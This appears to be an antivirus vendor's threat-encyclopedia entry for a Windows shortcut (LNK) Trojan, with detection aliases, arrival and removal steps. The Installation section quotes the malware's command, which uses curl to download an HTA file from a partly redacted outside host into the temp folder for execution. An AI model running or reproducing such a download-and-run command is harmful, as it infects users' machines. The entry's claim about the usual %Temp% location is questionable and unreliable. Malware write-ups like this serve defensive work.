Analysis by: Leidryn Saludez
ALIASES:

Heur.BZC.YAX.Nioc.1.24685C13 (BITDEFENDER)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 1,535 bytes
File Type: LNK
Memory Resident: No
Initial Samples Received Date: 06 Jun 2025
Payload: Connects to URLs/IPs, Downloads files

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • /c cd /d %TEMP% && curl -O https://{BLOCKED}itch.global/2eefa6a0-44ff-4979-9a9c-689be652996d/pdf.hta?v=1740535190239

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • https://{BLOCKED}itch.global/2eefa6a0-44ff-4979-9a9c-689be652996d/pdf.hta?v=1740535190239

It saves the files it downloads using the following names:

  • %Temp%\pdf.hta

(Note: %Temp% is the Windows temporary folder, where it usually is C:\Windows\Temp on all Windows operating system versions.)

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 20.272.07
FIRST VSAPI PATTERN DATE: 18 Jun 2025
VSAPI OPR PATTERN File: 20.273.00
VSAPI OPR PATTERN Date: 19 Jun 2025

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Scan your computer with your Trend Micro product to delete files detected as Trojan.LNK.KJRAT.THFAHBE. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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